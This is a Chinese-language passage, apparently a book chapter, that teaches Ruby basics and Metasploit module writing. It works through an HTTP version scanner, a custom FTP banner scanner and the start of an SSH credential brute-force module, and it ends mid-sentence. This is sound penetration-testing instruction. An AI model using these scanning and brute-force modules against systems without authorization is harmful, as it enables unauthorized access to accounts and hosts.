回顾完Metasploit基本功能的用法之后,下面开始学习Metasploit模块的编写。首先是Ruby编程语言的基础知识,然后是Ruby的各种语法和语义。通过这一章的学习,你将轻松掌握Metasploit模块的编写要领。本章将会讲解如何设计和制作各种自定义Metasploit模块,以及如何创建自定义的后渗透模块,这将有助于我们更好地控制已成功渗透的目标主机系统。
设想这样一种情况:我们要开展渗透测试的目标系统数量非常多,并且还需要在成功渗透之后进行后渗透测试工作,例如从所有的目标主机系统上下载一个指定的文件。从每个目标系统手动下载指定文件将会花费大量的时间和精力。因此,在这种情形下可以编写一个自定义的后渗透模块脚本,这个脚本会自动从所有被渗透了的目标系统中下载指定文件。
本章首先介绍在Metasploit环境中Ruby编程的相关知识,然后讲解如何开发各种Metasploit模块。本章着眼于以下几个要点。
现在让我们开始了解Ruby编程语言的基础,并积累与Metasploit模块编写相关的知识。
在深入研究Metasploit模块的编写之前,必须了解编写这些模块所必需的Ruby编程语言的核心特性。为什么学习Metasploit时要掌握的语言是Ruby呢?下面几点将帮助我们揭示这个问题的答案。
Ruby编程语言可以说是Metasploit框架的核心。不过Ruby到底是什么呢?根据Ruby官方网站的说法,Ruby是一种简单而强大的编程语言。日本的松本行弘在1995年设计并实现了Ruby语言。后来它被进一步定义为功能类似于Perl语言的、具有动态特性和反射机制的、通用的面向对象(object-oriented programming,OOP)的程序设计语言。
可以从http://Rubyinstaller.org/downloads/下载Windows/Linux版本的Ruby。
也可以通过下面的网页获得优秀的Ruby学习资源:http://tryruby.org/levels/1/challenges/。
Ruby是一种十分简单易学的编程语言。首先了解一下Ruby语言的基础知识。请记住,Ruby是一种内容十分丰富的编程语言。如果讲解Ruby的所有知识将会远远超出本书的范围,因此我们将只涉及编写Metasploit模块所必需的Ruby知识。
Ruby的交互式命令行
Ruby语言提供了一个可以进行交互的命令行。在交互式命令行上进行工作可以使我们更清楚地理解Ruby的基础知识。好的,现在就要开始了。首先打开你的CMD命令行或者终端窗口,然后在其中输入命令irb
来启动Ruby的交互式命令行。
先在Ruby交互式命令行中输入一些内容,然后查看发生的变化。假设如下所示输入数字2
:
irb(main):001:0> 2
=> 2
交互式命令行返回并输出了刚刚输入的值。现在,来进行另一个操作,例如一个如下所示的加法运算:
irb(main):002:0> 2+3
=> 5
可以看到,如果输入的内容是一个表达式的话,交互式命令行会返回并输出表达式的结果。
现在来执行一些对字符串的操作,例如将一个字符串类型的值保存到一个变量中。过程如下所示:
irb(main):005:0> a= "nipun"
=> "nipun"
irb(main):006:0> b= "loves Metasploit"
=> "loves metasploit"
当对变量a
和b
赋值结束后,我们来查看一下当在交互式命令行中输入a
和a+b
时,交互式命令行是如何反应的:
irb(main):014:0> a
=> "nipun"
irb(main):015:0> a+b
=> "nipun loves metasploit"
可以看到,当将a
作为一个输入时,交互式命令行返回并输出了它保存的名为a
的变量的值。类似地,输入a+b
返回并输出的结果为变量a
和b
的连接。
在命令行中定义方法
方法或者函数是一组语句,当我们调用它们时会开始执行。可以简单地在Ruby交互命令行中声明一个方法,也可以在脚本中对它们进行声明。在使用Metasploit模块时,Ruby的方法是一个很重要的部分。来看看它的语法格式:
def method_name [( [arg [= default]]...[, * arg [, &expr ]])]
expr
end
要定义一个方法,首先以def
开始,紧随其后的是方法的名称,然后是包含在括号中的参数和表达式。我们还将一个end
声明放在所有表达式的最后来结束对方法的定义。这里,arg
指的是方法所接收的参数,expr
指的是方法接收并计算的表达式。来看一个例子:
irb(main):002:0> def xorops(a,b)
irb(main):003:1> res = a ^ b
irb(main):004:1> return res
irb(main):005:1> end
=> :xorops
我们定义了一个名为xorops
的方法,它接收a
和b
两个参数。接着对接收到的参数进行异或运算,并将结果保存到一个名为res
的新变量中。最后使用return
语句来返回结果。
irb(main):006:0> xorops(90,147)
=> 201
可以看到,函数通过异或运算打印出了正确的结果。Ruby语言提供了puts
和print
这两种输出打印函数。当涉及Metasploit框架时,将使用print_line
函数。我们可以分别使用print_good
、print_status
和print_error
语句来表示成功执行、状态和错误。下面给出了具体的示例:
print_good("Example of Print Good")
print_status("Example of Print Status")
print_error("Example of Print Error")
当你在Metasploit模块下运行这些命令时会产生如下输出,+
符号并绿色显示表示正常,*
符号并蓝色显示表示状态信息,-
符号并红色显示表示错误信息。
[+] Example of Print Good
[*] Example of Print Status
[-] Example of Print Error
我们将会在本章的后半部分学习各种类型的输出语句的作用。
变量是指一个值随时可以改变的占位符。在Ruby中,我们只有在需要使用一个变量的时候才对其进行声明。Ruby语言支持数目众多的变量数据类型,但是我们只讨论与Metasploit相关的数据类型。下面来看看这些数据类型以及它们的操作。
字符串的处理
字符串是表示一个流或字符序列的对象。在Ruby中,可以像上一个例子中那样轻松地将一个字符串类型的值赋给一个变量。通过简单地使用双引号或者单引号标记一个值,就可以将这个值定义为字符串。
这里推荐尽量使用双引号标记,因为单引号标记可能会引发问题。看一下可能引发的问题:
irb(main):005:0> name = 'Msf Book'
=> "Msf Book"
irb(main):006:0> name = 'Msf's Book'
irb(main):007:0' '
可以看到,当使用一对单引号标记时,它们工作了。然而当试图使用Msf's
代替Msf
时,却出现了错误。这是因为在程序执行时,系统误将Msf's
中的单引号当成了字符串结束的单引号,这显然并非我们所愿。而这种情况导致程序出现了语法错误。
字符串连接
在使用Metasploit模块的时候,会用到字符串连接功能。我们有好几个实例都需要将两个不同的结果连接成一个字符串。可以使用+
运算符来实现字符串链接。另外,当需要在一个变量后面追加数据的时候,也可以使用<<
运算符:
irb(main):007:0> a = "Nipun"
=> "Nipun"
irb(main):008:0> a << " loves"
=> "Nipun loves"
irb(main):009:0> a << " Metasploit"
=> "Nipun loves Metasploit"
irb(main):010:0> a
=> "Nipun loves Metasploit"
irb(main):011:0> b = " and plays counter strike"
=> " and plays counter strike"
irb(main):012:0> a+b
=> "Nipun loves Metasploit and plays counter strike"
这里先将"Nipun"
赋值给变量a
,然后再使用<<
运算符在它的后面追加了"loves"
和"Metasploit"
。使用另一个变量b
保存了值"and plays counter strike"
。接下来,简单地使用+
运算符将这两个变量连接起来,得到了一个完整的输出"Nipun loves Metasploit and plays counter strike"
。
子字符串(substring
)函数
在Ruby中可以轻松地使用substring
函数来获取子字符串——只需要指明子字符串在字符串中的起始位置和长度,就可以获得它,如下所示:
irb(main):001:0> a= "12345678"
=> "12345678"
irb(main):002:0> a[0,2]
=> "12"
irb(main):003:0> a[2,2]
=> "34"
split
函数
可以使用split
函数将一个字符串类型的值分割为一个变量数组。用一个简单的例子来说明这一点:
irb(main):001:0> a = "mastering,metasploit"
=> "mastering,metasploit"
irb(main):002:0> b = a.split(",")
=> ["mastering", "metasploit"]
irb(main):003:0> b[0]
=> "mastering"
irb(main):004:0> b[1]
=> "metasploit"
可以看到,现在已经将字符串转换成了一个新的数组b
。这个数组b
中包含了b[0]
和b[1]
两个元素,分别是"mastering"
和"metasploit"
。
Ruby中的数字和转换
我们可以直接在算术运算中使用数字。在处理用户的输入时,可以用to_i
函数将字符串类型的输入转换成整数。另一方面,也可以使用to_s
函数将一个整数转换成字符串。
来看一个简单的例子以及它的输出:
irb(main):006:0> b="55"
=> "55"
irb(main):007:0> b+10
TypeError: no implicit conversion of Fixnum into String
from (irb):7:in `+'
from (irb):7
from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):008:0> b.to_i+10
=> 65
irb(main):009:0> a=10
=> 10
irb(main):010:0> b="hello"
=> "hello"
irb(main):011:0> a+b
TypeError: String can't be coerced into Fixnum
from (irb):11:in `+'
from (irb):11
from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):012:0> a.to_s+b
=> "10hello"
可以看到,当将一个用引号标记的值赋给变量b
时,这个变量会被当作一个字符串处理。当使用这个变量进行加法运算时就会出现错误。但是,对其使用了to_i
函数以后,这个变量就会从字符串类型转换成整型,从而可以正常地执行加法运算。同样,对于字符串,当我们试图将一个整数和一个字符串连接到一起时,错误就出现了。不过,当进行了类型转换后,一切就正常了。
Ruby中的数制转换
在使用渗透模块和其他模块时,都将使用到各种转换机制。现在来看一些之后会用到的数制转换。
16进制到10进制的转换
在Ruby中使用hex
函数对一个数值进行从16进制到10进制的转换是十分简单的,下面给出了一个示例:
irb(main):021:0> a= "10"
=> "10"
irb(main):022:0> a.hex
=> 16
可以看出,16进制下的10对应10进制下的16。
10进制到16进制的转换
和上例中相反的操作可以使用to_s
函数来实现:
irb(main):028:0> 16.to_s(16)
=> "10"
Ruby中的范围
范围(range)是一个很重要的内容,广泛应用在Metasploit的辅助模块中,例如扫描模块和测试模块。
让我们定义一个范围,并且查看一下可以对这种数据类型进行哪些操作:
irb(main):028:0> zero_to_nine= 0..9
=> 0..9
irb(main):031:0> zero_to_nine.include?(4)
=> true
irb(main):032:0> zero_to_nine.include?(11)
=> false
irb(main):002:0> zero_to_nine.each{|zero_to_nine| print(zero_to_nine)}
0123456789=> 0..9
irb(main):003:0> zero_to_nine.min
=> 0
irb(main):004:0> zero_to_nine.max
=> 9
我们可以看到一个范围对象提供的多种操作,例如搜索、查找最小值和最大值,以及显示范围中的所有数据。这里的include?
函数可以检查范围中是否包含某一个特定的值。此外,min
和max
函数可以显示出范围中的最小值和最大值。
Ruby中的数组
我们可以简单地将数组定义为一系列元素的集合。来看一个例子:
irb(main):005:0> name = ["nipun","metasploit"]
=> ["nipun", "metasploit"]
irb(main):006:0> name[0]
=> "nipun"
irb(main):007:0> name[1]
=> "metasploit"
到现在为止,已经介绍了所有编写Metasploit模块必需的变量和数据类型的相关知识。
有关变量和数据类型的更多信息,请访问http://www.tutorialspoint.com/ruby/。
有关使用Ruby编程的速查表,请参考https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf。
如果你现在正从别的语言向Ruby语言过渡,这有一份推荐材料:http://hyperpolyglot.org/scripting。
方法是函数的另一个说法。除了Ruby程序员以外,其他背景的程序员可能经常使用这两种叫法。方法就是指能执行特定操作的子程序。方法的使用实现了代码的重用,大大缩短了程序的长度。定义一个方法很容易,在定义开始的地方使用def
关键字,在结束的地方使用end
关键字。让我们通过一个简单的程序来了解它们的工作方式,例如打印出50个空格。
def print_data(par1)
square = par1*par1
return square
end
answer = print_data(50)
print(answer)
这里的print_data
方法接收主函数发送过来的参数,然后让其乘以自身,再使用return
将结果返回。这个程序将返回的值放到了一个名为answer
的变量中,随后输出了这个值。我们将在本章的后面和接下来的几章中频繁地使用Ruby中的方法。
与其他任何编程语言一样,决策在Ruby中也是一个简单的概念。看一个例子:
irb(main):001:0> 1 > 2
=> false
同样,再来查看一个字符串数据的例子:
irb(main):005:0> "Nipun" == "nipun"
=> false
irb(main):006:0> "Nipun" == "Nipun"
=> true
来看一个使用决策运算符的简单程序:
def find_match(a)
if a =~ /Metasploit/
return true
else
return false
end
end
# 主函数从这里开始
a = "1238924983Metasploitduidisdid"
bool_b=find_match(a)
print bool_b.to_s
在上面的这个程序中,我们使用了一个包含有"Metasploit"
的字符串,这个字符串中的"Metasploit"
前后都添加了一些无用字符。然后将这个字符串赋值给变量a
。接下来,将该变量传递给函数find_match()
,这个函数的作用是检查该变量是否可以匹配正则表达式/Metasploit/
。如果这个变量中包含了"Metasploit"
的话,函数的返回值就是true
,否则就会将false
赋值给bool_b
变量。
运行上面这个方法将会产生一个true
,这是因为按照决策运算符=~的计算,这两个值是匹配的。
前面的程序在Windows系统环境中执行完成后,输出的结果如下所示。
C:\Ruby23-x64\bin>ruby.exe a.rb
true
迭代语句被称为循环。正如任何其他编程语言一样,Ruby编程中也包含循环结构。接下来让我们来使用一下这种结构,看看它的语法和其他编程语言的不同之处。
def forl(a)
for i in 0..a
print("Number #{i}n")
end
end
forl(10)
上面的代码按照定义的范围从0遍历到10,实现了循环打印输出当前的值。在这里我们使用#{i}
去打印输出变量i
的值。关键字n
指定开始新的一行。因此,每一次打印输出变量时,都会自动占用新的一行。
迭代循环是通过each
实现的。这是一种十分常见的做法,在Metasploit模块中被广泛使用。下面是一个示例:
def each_example(a)
a.each do |i|
print i.to_s + "t"
end
end
# 主函数从这里开始
a = Array.new(5)
a=[10,20,30,40,50]
each_example(a)
在上面的代码中,我们定义了一个方法,这个方法接收一个数组a
,然后将数组a
中的所有元素用each
循环打印出来。使用each
方法完成循环会将数组a
中的元素临时保存到i
中,一直到下一个循环时再重写这个变量的值。输出语句中的.t
表示一个制表位(tab)。
有关循环的更多信息,请访问http://www.tutorialspoint.com/Ruby/Ruby_loops.htm。
正则表达式用来匹配一个字符串或者获取字符串在一组给定的字符串或一个句子中出现的次数。在Metasploit中,正则表达式十分关键。在编写漏洞检查工具和扫描工具以及分析某个给定端口的响应时,总会需要使用正则表达式。
让我们看一个例子,这里的程序演示了正则表达式的使用。
设想这样一个场景:我们有一个变量n
,它的值是Hello world
,我们需要为它设计一个正则表达式。来看看下面的代码:
irb(main):001:0> n = "Hello world"
=> "Hello world"
irb(main):004:0> r = /world/
=> /world/
irb(main):005:0> r.match n
=> #<MatchData "world">
irb(main):006:0> n =~ r
=> 6
我们创建另一个名为r
的变量,并把正则表达式内容——/world/
保存在其中。在下一行,我们用MatchData
类的match
对象将这个字符串和正则表达式进行匹配。命令行返回了一个匹配成功的信息MatchData "world"
。接下来使用另一个运算符=~
来完成字符串的匹配操作,返回匹配的具体位置。让我们看一个这样的例子:
irb(main):007:0> r = /^world/
=> /^world/
irb(main):008:0> n =~ r
=> nil
irb(main):009:0> r = /^Hello/
=> /^Hello/
irb(main):010:0> n =~ r
=> 0
irb(main):014:0> r= /world$/
=> /world$/
irb(main):015:0> n=~ r
=> 6
分配一个新的值/^world/
给r
,这里^
运算符表示要匹配字符串的开始位置。我们得到了输出nil
,这说明并没有匹配成功。我们修改这个表达式以匹配单词Hello
开始的字符串。这一次,系统的输出为数字0
,这意味着在最开始的位置匹配成功。下一步,将正则表达式修改为/world$/
,这意味着只有一个以单词world
结尾的字符串才会匹配。
有关Ruby中正则表达式的更多信息,请访问http://www.tutorialspoint.com/Ruby/Ruby_regular_expressions.htm。
下方的链接提供了Ruby编程语言速查卡,可以让你的编程更高效:https://github.com/savini/cheatsheets/raw/master/Ruby/RubyCheat.pdf;http://hyperpolyglot.org/scripting。
有关如何构建正确的正则表达式的更多信息,请访问http://rubular.com/。
怎么样,是不是已经有些困倦了?这节有些沉闷吧?我们刚刚讨论了Ruby的基本功能,这些功能都是设计实现Metasploit模块所必需的。Ruby语言涵盖的内容十分丰富,这里不可能把各个方面都介绍到。但是,你可以从下面的网址获得极为优秀的Ruby编程资源。
让我们接着深入地学习模块编写过程。Metasploit拥有大量的攻击载荷模块、编码器模块、渗透模块、空指令模块、辅助模块。这一节将学习模块开发的要点。我们来了解一下如何在实际中创建自己的自定义模块。
本节将就辅助模块和后渗透模块的开发展开讨论。渗透模块会在下一章中详细讨论。我们首先来看看开发一个模块的要领。
在构建模块之前,我们先来了解Metasploit的体系框架,以及Metasploit所有组成部分和它们各自的功能。
Metasploit框架的体系结构
Metasploit是由很多组件构成的,比如基础库文件、模块、插件以及工具。Metasploit的体系框架结构示意图如下。
来看看这些组件分别是什么以及它们的功能是什么。最好的切入点就是Metasploit的核心部分——基础库文件。可以通过下表中的说明来了解各种基础库文件的用途。
基础库文件名称 | 用途 |
---|---|
Ruby扩展(REX) | 处理几乎所有的核心功能,如设置网络套接字、网络的连接、格式化和所有其他基本功能 |
MSF核心 | 提供了基本的应用编程接口和框架的实际核心 |
MSF基础 | 为模块提供了友好的应用编程接口 |
Metasploit中包含多种不同的模块类型,它们各自有着不同的功能。攻击载荷模块用来创建一个本机与被渗透的主机之间的通道。辅助模块用来实现各种辅助操作,例如信息收集、目标踩点、对应用程序进行fuzz测试以及各种服务的登录。来看看这些模块的基本功能,如下表所示。
模块类型 | 功能 |
---|---|
攻击载荷模块 | 这类模块通常用来在成功渗透目标以后建立从本机发起到目标、从目标发起到本机的连接,或者执行特定的任务,例如在目标机上安装一个服务,等等。攻击载荷模块是在成功渗透了目标计算机以后的下一个步骤。前一章中广泛使用的Meterpreter就是一个常见的Metasploit攻击载荷模块 |
辅助模块 | 辅助模块是一种用来执行指定任务的特殊模块,例如信息收集、数据库特征识别、端口扫描和banner获取 |
编码器模块 | 这些模块用来对攻击向量和攻击载荷进行加密,借此躲避杀毒软件和防火墙的检测 |
NOP | 实现指令的对齐,提高渗透程序的稳定性 |
渗透模块 | 触发一个系统漏洞的实际代码 |
了解文件结构
Metasploit中的文件结构如下图所示。
现在先来了解Metasploit中一些相关的目录,这将有助于我们更好地建立Metasploit模块,这些目录如下表所示。
目录 | 用途 |
---|---|
lib | Metasploit的核心和灵魂,包含了帮助我们建立MSF模块的全部重要库文件 |
modules | 包含Metasploit中的所有模块——从扫描模块到后渗透模块,每一个Metasploit中集成的模块都可以在这个目录中找到 |
tools | 包含了用于辅助渗透测试的命令行程序。从创造无用数据到查找JMP ESP地址的工具都可以在这里找到,所有有用的命令行程序都包含于此 |
plugins | 包含了所有用于扩展Metasploit功能的插件,例如OpenVAS、Nexpose、Nessus以及其他各种可以使用load 命令载入的工具 |
scripts | 包含了Meterpreter和其他各种脚本 |
了解库的布局
Metasploit的模块是由各种各样的函数构成的。这些函数包括各种基础库文件以及使用Ruby编写的通用程序。在使用这些函数之前,首先要知道这些函数是什么,如何使用这些函数,调用函数时需要传递多少个参数,这些函数的返回值会是什么。
来看看这些库的实际位置,如下面的屏幕截图所示。
正如上图所示,对于我们很重要的rex
库文件位于/lib目录下。在/lib下还包含了各种服务的重要目录。
另外两个重要的库/base和/core位于/msf目录下,如下图所示。
在/msf/core库文件夹中,可以看到第1章涉及的所有模块的库文件,如下面的屏幕截图所示。
这些库文件提供核心的辅助模块。然而对于不同的操作和功能,可以使用任何需要的库文件。一些Metasploit模块广泛使用的库文件均位于core/exploits/目录下,如下面的屏幕截图所示。
还可以在core/目录下找到支持各种类型模块的所有相关库文件。目前,这里可以找到渗透模块、攻击载荷模块、后渗透模块、编码器模块以及各种其他模块的核心库文件。
在https://github.com/rapid7/Metasploit-framework上可以访问Metasploit的Git存储库,获得完整的源代码。
开发自定义模块最好的办法就是先深入理解Metasploit现有模块的内部机制,看看它们是如何工作的。
Metasploit模块的格式
Metasploit模块的骨骼框架比较简单,下面的代码就给出了一个通用的框架头部:
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
))
end
def run
# 主函数
end
end
模块一般都会从使用require
关键字导入重要的库文件开始,上面的代码就导入了msf/core
库。所以,这个模块中就包含了msf目录下的core库文件。
接下来的主要任务是定义这个类的类型,以指定我们要创建的模块种类。我们在这个示例中定义了类的用途为MSF::Auxiliary
。
initialize
方法是Ruby编程语言中的默认构造方法。在这个方法中,我们定义了名称(Name
)、描述(Description
)、作者(Author
)、许可(Licensing
)和CVE
信息等。这个方法涵盖了特定模块的所有相关信息:软件的名称通常会体现设计软件的目的;描述中会包含对漏洞的摘要说明;作者是开发这个模块的人的名字;许可就是MSF_LICENSE
,就像前面的示例代码一样。辅助模块中的主函数是run
方法。因此,除非你要使用特别多的方法,否则所有的操作都应该在这个函数里面执行。但是程序仍然要从run
方法开始执行。
我们以一个简单的HTTP版本的扫描模块开始,看看它是如何工作的。这个Metasploit模块位于/modules/auxiliary/scanner/http/http_version.rb。先系统地来看看这个模块:
##
# 这个模块需要Metasploit:https://metasploit.com/download
# 当前来源:https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
class MetasploitModule < Msf::Auxiliary
接下来讨论一下这里的内容是如何安排的。一般来说,所有的Metasploit模块都以注释开始,而这些注释都是一些以#
标识作为开头的行。语句require 'rex/proto/http'
声明了该程序将要引入这个rex
库文件目录下的所有HTTP协议方法。因此,所有如下图所示的/lib/rex/proto/http目录下的文件现在都可以被该模块使用了。
这些文件包含了各种各样的HTTP方法,包括用于设置连接的函数,GET
和POST
的请求,响应处理等。
接下来的Msf::Auxiliary
定义了这段代码的类型是辅助模块。接下来继续查看这段代码。
# 首先调用渗透mixin类
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
# 接着是扫描器模块mixin类
include Msf::Auxiliary::Scanner
上面的代码中包含了所有必需的库文件,在这些库文件中涵盖了我们编写模块所需要的所有方法。下表给出了这些库文件的详细信息。
语句 |
路径 |
用途 |
---|---|---|
|
/lib/msf/core/exploit/http/client.rb |
这个库文件提供了大量方法,例如连接到目标计算机、发送请求、切断与客户端的连接等 |
|
/lib/msf/core/auxiliary/wmapmodule.rb |
你可能在想,什么是WMAP?WMAP是一款基于Metasploit的通用Web应用程序扫描框架,有助于完成Metasploit的Web渗透测试 |
|
/lib/msf/core/auxiliary/scanner.rb |
这个文件包含了基于扫描模块的所有函数,提供了模块运行、模块初始化、扫描进度等各种方法 |
接着来看下一段代码。
def initialize
super(
'Name' => 'HTTP Version Detection',
'Description' => 'Display version information about each system',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_wmap_options({
'OrderID' => 0,
'Require' => {},
})
end
模块的这部分定义了initialize
方法。这个方法初始化了该Metasploit模块的基本参数,例如名称、作者、描述、对于不同Metasploit模块的许可和WMAP模块的默认参数。看看代码的最后一部分。
# 对单台主机进行踩点
def run_host(ip)
begin
connect
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
fp = http_fingerprint(:response => res)
print_good("#{ip}:#{rport} #{fp}") if fp
report_service(:host => rhost, :port => rport, :sname => (ssl ?
'https' : 'http'), :info => fp)
rescue ::Timeout::Error, ::Errno::EPIPE
ensure
disconnect
end
end
end
前面的函数是扫描功能的具体实现。
库和函数
下表给出了在本模块中所使用的重要函数。
函数 |
库文件 |
用途 |
---|---|---|
|
|
对每台主机运行一次的主方法 |
|
|
用来和目标主机建立连接 |
|
|
用来向目标发送原始的HTTP请求 |
|
|
|
|
|
将HTTP响应解析为可以使用的变量 |
|
|
用来向数据库报告并存储在目标主机上发现的服务 |
来试着理解模块。这里有一个名为run_host
的方法,该方法使用IP作为建立与所需主机的连接的参数。方法run_host
是从/lib/msf/core/auxiliary/scanner.rb库文件中引入的。这个方法将为每台主机运行一次,如下图所示。
接下来,我们看到了begin
关键字,这意味着代码块的开始。在接下来的语句中,可以看到connect
方法,这个方法会与目标服务器建立一个HTTP类型的连接。
在接下来的语句中定义了一个名为res
的变量来存储响应。我们将要使用/core/exploit/http/client.rb文件中的send_raw_request
方法,并将这个方法的参数URI
的值设置为/,参数method
的值设置为GET
。
这个方法将会帮助你连接到目标服务器,创建一个请求,发送这个请求,接收响应,并将这个响应保存到变量res
中。
目录/rex/proto/http/中的client.rb文件中的所有参数都经过检查之后,通过这个方法可将其传递给方法request_raw
。有很多可以在参数列表中设置的参数,来看看它们分别是什么。
res
是一个用来存储结果的变量。下一条语句将会运行/lib/msf/core/exploit/http/client.rb文件中的http_fingerprint
方法,分析fp
变量中的数据。该方法将记录和过滤信息,如Set-cookie
、Powered-by
等。这个方法需要一个HTTP响应的数据包进行运算。因此,我们将会把收到的响应作为一个参数赋值给res
,这意味着将根据之前发送请求的响应数据进行特征匹配工作。然而,如果这个参数没有指定,这些步骤将会重新执行以获得需要的数据。下一条语句用来打印输出一个包含了诸如IP地址、端口和服务名等详细信息的消息,不过只有当fp
的值被设置为真的时候,这条语句才会执行。函数report_service
实现了将信息存储到数据库的功能,它会保存目标的IP地址、端口号、服务类型(HTTP或者HTTPS,基于服务)以及服务信息。最后一行的rescue ::Timeout::Error, ::Errno::EPIPE
,会在模块超时的情况下处理程序的异常。
现在,让我们来运行这个模块,看看会输出什么。
现在我们已经看到了一个模块是如何工作的。可以看到,当这个程序成功识别目标应用程序的指纹信息之后,就会将其显示在控制台上并保存到数据库中。另外,如果操作超时,这个模块并不会崩溃,而是会得到恰当的处理。让我们在此基础上更上一层楼,开始编写自定义模块。
下面来尝试开发一个简单的模块。我们将开发一个简单的FTP服务识别模块,并了解它的工作原理。接下来查看FTP模块的代码:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'FTP Version Scanner Customized Module',
'Description' => 'Detect FTP Version from the Target',
'Author' => 'Nipun Jaswal',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
])
end
我们的代码从定义需要建立的Metasploit模块开始。这里创建的是一个辅助类型的模块,该模块与之前介绍的那个模块一样。下一步,定义我们需要包含在核心库之中的库文件。
引入语句 |
位置 |
用途 |
---|---|---|
|
|
包含了所有FTP操作相关的方法,比如建立FTP连接、FTP服务登录、发送FTP命令等 |
|
|
包含了各种扫描模块要使用的函数,提供了很多方法,例如模块运行、初始化以及进度扫描等 |
|
|
包含了所有报告函数,这些函数可以将正在运行的模块中的数据存储到数据库中 |
接下来,使用initialize
方法定义这个模块的属性和信息,例如描述、作者姓名、许可等。也定义了该模块运行所需要的选项。例如,这里我们将RPORT
的值设置为21
,这是FTP的默认端口。接着我们查看模块后面的部分。
def run_host(target_host)
connect(true, false)
if(banner)
print_status("#{rhost} is running #{banner}")
report_service(:host => rhost, :port => rport, :name => "ftp", :info =>
banner)
end
disconnect
end
end
库和函数
接下来看一些库文件中的函数,其用途如下表所示。
函数 |
库文件 |
用途 |
---|---|---|
|
|
对每台主机运行一次的主方法 |
|
|
负责与主机建立一个连接并抓取banner,然后自动将这个banner保存到变量中 |
|
|
专门用于将服务和相关细节添加到数据库中 |
我们定义了run_host
方法,它将作为程序的主方法;而connect
函数用来初始化一个连接到目标的进程。我们需要向connect
函数提供两个参数:true
和false
。参数true
定义了全局参数的使用,而false
定义了关闭模块的详细功能。函数connect
的优点在于它能自动化连接目标,以及自动化地将FTP服务的标识保存到名为banner
的参数中,如下面的屏幕截图所示。
这个结果保存到了banner
属性中,因此只需在最后打印输出这个banner
即可。接下来使用函数report_service
,将扫描数据保存在数据库中以供之后使用或者生成高级报告。这个函数位于auxiliary库中的report.rb文件中,report_service
函数的代码如下图所示。
向report_service
方法提供的参数都通过另一个方法framework.db.report_service
保存到了数据库中,这个方法位于/lib/msf/core/db_manager/service.rb。当完成了所有必需的操作之后,就可以切断和目标之间的连接了。
这是一个简单的模块,建议你现在尝试编写一些简单的扫描程序和一些类似的模块。
使用msftidy
在使用msftidy
运行这个模块之前,要先检查一下这些刚刚开发的模块的语法是否正确。为此,可以使用Metasploit中名为msftidy
的内置工具,如下图所示。
我们得到了一条警告消息,即在第20行的末尾存在一些多余的空格。因此删掉代码中那些无用的空格,然后重新运行msftidy
。此时不再有错误提示了,这意味着这个模块在语法上不存在错误了。
好了,现在来运行这个模块并查看我们收集到的信息。
可以看到,这个模块运行得非常顺利。它获得了目标服务器在21号端口上运行的服务的banner,即220-FileZilla Server 0.9.60 beta。上一个模块中的函数report_service
将数据保存到服务字段,我们可以使用services
命令来查看这个字段,如上图所示。
更多有关Metasploit项目对模块的支持情况,请访问https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements。
为了查出网络中存在的那些弱口令,需要编写一个认证暴力破解器。这些测试不仅仅能测试应用程序中的弱口令,还可以确保准确的授权和对访问的控制。这些测试使攻击者在尝试了一些随机猜测的暴力攻击之后会被系统拒绝访问,从而确保攻击者不能简单地绕过安全模式。
接下来编写一个用于检测SSH服务认证是否安全的模块,你将会看到使用Metasploit来设计一个这样的模块是多么简单。先来查看这个模块代码的一部分:
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ssh'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'SSH Scanner',
'Description' => %q{
My Module.
},
'Author' => 'Nipun Jaswal',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(22)
], self.class)
end
在前面的示例中,我们已经看到了引入Msf::Auxiliary::Scanner
和Msf::Auxiliary::Report
的重要性。下面给出了另一个引入的库文件及其用途。
引入语句 |
路径 |
用途 |
---|---|---|
|
|
提供了必要的暴力破解机制和功能,例如提供了单独的登录用户名和密码表、生词表、空密码等选项 |
前面的代码引入了两个库文件,分别是metasploit/framework/login_scanner/ssh和metasploit/framework/ credential_collection。metasploit/framework/login_scanner/ssh包含了SSH登录扫描库,利用这个库可以避免所有的手动操作,它还提供了SSH扫描的基础API。metasploit/framework/credential_collection帮助我们通过使用datastore
中的用户输入,创建复合的登录凭证。接下来,我们定义了模块的类型。
在initialize
部分,我们为这个模块定义了基本信息。来看下面的代码:
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
scanner = Metasploit::Framework::LoginScanner::SSH.new(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
proxies: datastore['Proxies'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['SSH_TIMEOUT'],
framework: framework,
framework_module: self,
)
上面的代码中有两个主要的对象,分别是cred_collection
和scanner
。有一点必须要注意,在登录到SSH服务时并不需要进行任何手动操作,登录扫描器会完成所有的工作。因此,cred_collection
仅仅实现了按照数据存储选项来设置登录凭证。CredentialCollection
类的优势在于,它既可以在一次扫描中同时执行单一的用户名/密码组合、生词表、空白密码等操作,也可以一次只执行一种操作。
所有的登录扫描模块都需要使用credential
对象完成登录操作。上面代码中定义的scanner
对象完成了对一个SSH类对象的初始化。这个对象中存储了目标的地址、端口、使用CredentialCollection
